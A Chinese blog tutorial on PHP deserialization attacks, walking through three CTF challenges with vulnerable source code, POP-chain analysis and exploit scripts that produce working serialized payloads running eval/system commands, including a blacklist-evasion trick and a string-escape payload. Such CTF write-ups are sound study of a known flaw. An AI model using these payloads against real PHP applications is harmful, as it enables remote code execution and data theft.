首页 > 编程语言 >PHP序列化与反序列化

PHP序列化与反序列化

时间:2023-04-10 20:14:54浏览次数:40  
标签:__ function PHP POP 调用 序列化 public

PHP反序列化学习

参考资料

可供新手学习的文章:

《PHP反序列化新手入门学习总结》蚁景科技

https://www.freebuf.com/articles/network/355848.html

实战演练

[SWPUCTF 2021 新生赛]

考点

wakeup()绕过

解题思路

如果类属性的数目大于正常数目则不会执行wakeup()函数

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

EXP编写

<?php
class HaHaHa{
        public $admin = "admin";
        public $passwd = "wllm";
    }
$key = new HaHaHa();
echo serialize($key);
?>

修改属性个数

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
修改为
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

[NISACTF 2022]babyserialize

考点

POP链,魔法函数,简单的命令绕过

解题思路

首先需要找到POP链的尾部,一般来说是一个命令执行函数,如:assert,eval等,或者说是一个函数名和参数均被用户控制的函数。

接着分析魔法函数,从POP链尾部往前推演,根据魔法函数的触发条件推导。

编写EXP,根据构造的POP链进行实例化对象和赋值。

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
    //使用unserialize触发,如果需要绕过,修改对象个数
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
    //对不存在的方法或不可访问的方法进行调用就自动调用
        $this->fun=$val[0];
    }

    public function __toString()
    {
    //当一个对象被当作一个字符串被调用
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
    //POP链尾部,当脚本尝试将对象调用为函数时触发
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
    //使用unserialize触发,如果需要绕过则修改对象个数
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
   //对不存在的方法或不可访问的方法进行调用就自动调用
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
    //当一个对象被当作一个字符串被调用
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
    //在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);//a可控但全为小写
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

  1. POP链尾部是NISA类的invoke()方法,invoke()方法会对txw4ever命令参数进行检查,根据后续提示是黑名单过滤,通过过滤后使用eval执行命令,即我们获取flag的方式。
  2. invoke()方法当脚本尝试将对象调用为方法时触发,我们下一步即寻找可能将对象调用为方法的位置。
  3. Ilovetxw类中的toString()方法,如果我们将Ilovetxw的成员变量$su赋值为一个NISA对象,则会触发(1)中的invoke()方法。
  4. toString()方法当一个对象被当作一个字符串被调用触发,我们下一步即寻找可能将对象当做字符串的位置。
  5. four类的set()方法中,strtolower()方法会将给的参数字符串转换为小写,如果将four类的成员变量赋值为Ilovetxw对象则会触发(4)中的toString()方法。
  6. set()方法在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用,我们注意到four类中有一个私有成员变量,我们下一步即寻找可能给它赋值的位置。
  7. Ilovetxw类中的call()方法,可以对成员huang的属性fun进行赋值,如果我们将huang赋值为four对象,则会触发(6)中的set()方法。
  8. call()方法在对不存在的方法或不可访问的方法进行调用就自动调用,我们下一步及寻找不存在或者不可访问的方法可能出现的位置。
  9. TianXiWei类中出现了一个从未出现的nisa方法,如果我们将成员变量ext赋值为Ilovetxw对象,则会触发(7)中的call()方法。

至此我们总结出以下的POP链。

TianXiWei::wakeup->Ilovetxw::call->four::set->Ilovetxw::toString->NISA::invoke

EXP编写

<?php
class NISA{
    public $fun="show_me_flag";
    public $txw4ever="\$a='sy';\$b='stem';(\$a.\$b)('cat /f*');";
}

class TianXiWei{
    public $ext;
    public $x;   
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}

$key1= new NISA();
$key2 = new Ilovetxw();
$key3 = new four();
$key4 = new TianXiWei();
$key5 = new Ilovetxw();

$key2->su =$key1;
$key3->a = $key2;
$key5->huang = $key3;
$key4->ext = $key5;
$key4->x="sixsixsix";
echo urlencode(serialize($key4));
?>

[UUCTF 2022 新生赛]ezpop

考点

POP链,反序列化逃逸

解题思路

思考POP链的构造

思考反序列化逃逸的字符串构造

编写EXP构造出最终的payload

<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str; 
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;
    function __toString(){
    //将对象当做字符串时调用
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);//需要将a赋值为output对象
    }
}
class youwant{
    public $cmd;
    function rce(){
        eval($this->cmd);//POP链尾部
    }
}
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);//反序列化字符串逃逸利用点
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}
?>

我们根据前面的经验很容易可以推出以下的POP链。

nothing::destruct()->output::toString()->youwant::rce()

根据UUCTF类的描述,我们需要利用反序列化逃逸对\(key,\)basedata,\(ob,进行赋值,其中\)key为UUCTF,\(basedata为我们提交的POST参数的base64_encode值,\)ob这里可以为空值。

我们首先编写EXP利用POP链反序列化出对象字符串。

<?php
class output{
    public $a;
}
class nothing{
    public $a;
    public $b;
    public $t;
}
class youwant{
    public $cmd = "system('cat flag.php');";
}


$key1 = new youwant();
$key2 = new output();
$key3 = new nothing();

$key2 -> a = $key1;
$key3 -> a = &$key3 -> b;
$key3 -> t = $key2;
$bkey3 = base64_encode(serialize($key3));
echo $bkey3;
?>

结果为:

Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19

计算该字符串的长度:

echo strlen($bkey3) //176

构造我们需要的字符串:

";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}

计算该字符串的长度:

$num = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}';
echo strlen($num); //236

由于$data_replace=str_replace("hacker","loveuu!",$data);替换字符和原字符长度差1,则我们需要236个填充字符hacker。

最终的payload如下图所示

image-20230410164107737

标签:__,function,PHP,POP,调用,序列化,public
From: https://www.cnblogs.com/merk11/p/17304121.html

相关文章

  • php 开启 ziparchive,php ZipArchive类使用实例
    ###批量压缩文件并下载zip示例functiondeleteDir($dirName){if(file_exists($dirName)){//判断目录是否存在//如果是目录,那么我们就遍历下面的文件或者目录//打开目录句柄$dir=opendir($dirName);while($fileName=readdir($dir))......
  • php连接mysql 的错误:用户密码使用了旧版本的加密方式
    CannotconnecttoDatabase,pleasecheckyourconfiguration:错误代号:2000 mysqlndcannotconnecttoMySQL4.1+usingtheoldinsecureauthentication.PleaseuseanadministrationtooltoresetyourpasswordwiththecommandSETPASSWORD=PASSWORD('you......
  • 利用 curl 发送 post/get/del/put/patch 请求 PHP
    因为需要在php开发中对接其它接口需要用phpcurl去对接其它接口我把他们封装成函数。这里面是封装好的会自动把data进行转成json格式,同时解码成php数组输出get请求:<?phpfunctiongeturl($url){$headerArray=array("Content-type:application/json;","Acc......
  • php 的 api 接口
    在实际工作中,使用PHP写api接口是经常做的,PHP写好接口后,前台就可以通过链接获取接口提供的数据,而返回的数据一般分为两种情况,xml和json,在这个过程中,服务器并不知道,请求的来源是什么,有可能是别人非法调用我们的接口,获取数据,因此就要使用安全验证。验证原理示意图原理从图中......
  • java基础-序列化和拷贝
    1.序列化1.1.定义如果我们需要持久化Java对象,或者在⽹络传输Java对象,这些场景都需要⽤到序列化,简单来说序列化就是将数据结构或对象转换成⼆进制字节流的过程,反序列化就是将在序列化过程中所⽣成的⼆进制字节流转换成数据结构或者对象的过程对于Java这种⾯向对象编程语⾔来说,......
  • [从0开始]PHP+phpstudy留言板项目搭建教程及报错详析
    [从0开始]PHP+phpstudy留言板项目搭建教程及报错详析基础知识及工具准备基础知识:四种语言PHPPHP是在服务器端执行的脚本语言,适用于Web开发并可嵌入HTML中。学习网站:PHP教程|菜鸟教程SQLSQL是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统......
  • 剑指 Offer 37. 序列化二叉树
    题目链接:剑指Offer37.序列化二叉树取巧做法classCodec{private:TreeNode*root;public://Encodesatreetoasinglestring.stringserialize(TreeNode*root){this->root=root;return"";}//Decodesyourencoded......
  • 自定义序列化器类
    @Serialization是一个自定义装饰器,通常用于序列化Python对象。使用@Serialization装饰器可以将一个类转换为可序列化的对象,这样就可以将其存储到文件或通过网络传输。下面是一个使用@Serialization装饰器的示例:importjsondefSerialization(cls):defserializ......
  • 《渗透测试》安全开发-PHP应用&留言板功能&超全局变量&数据库操作&第三方插件引用 202
    PHPStorm:专业PHP开发IDEPhpStudy:ApacheMYSQL环境NavicatPremium:全能数据库管理工具 #数据导入-mysql架构&库表列1、数据库名,数据库表名,数据库列名2、数据库数据,格式类型,长度,键等 #数据库操作-mysqli函数&增删改查PHP函数:连接,选择,执行,结果,关闭等参考:https://......
  • PHP实现随机图片API
    分享两种PHP随机图片源码,第一种访问本地图片,第二种访问图片链接,代码如下:<!--资源宝分享:www.httple.net--><?phpheader('Cache-Control:no-cache,must-revalidate');header('Pragma:no-cache');header("Expires:0");header("Access-Control-Allow-Origin:*&......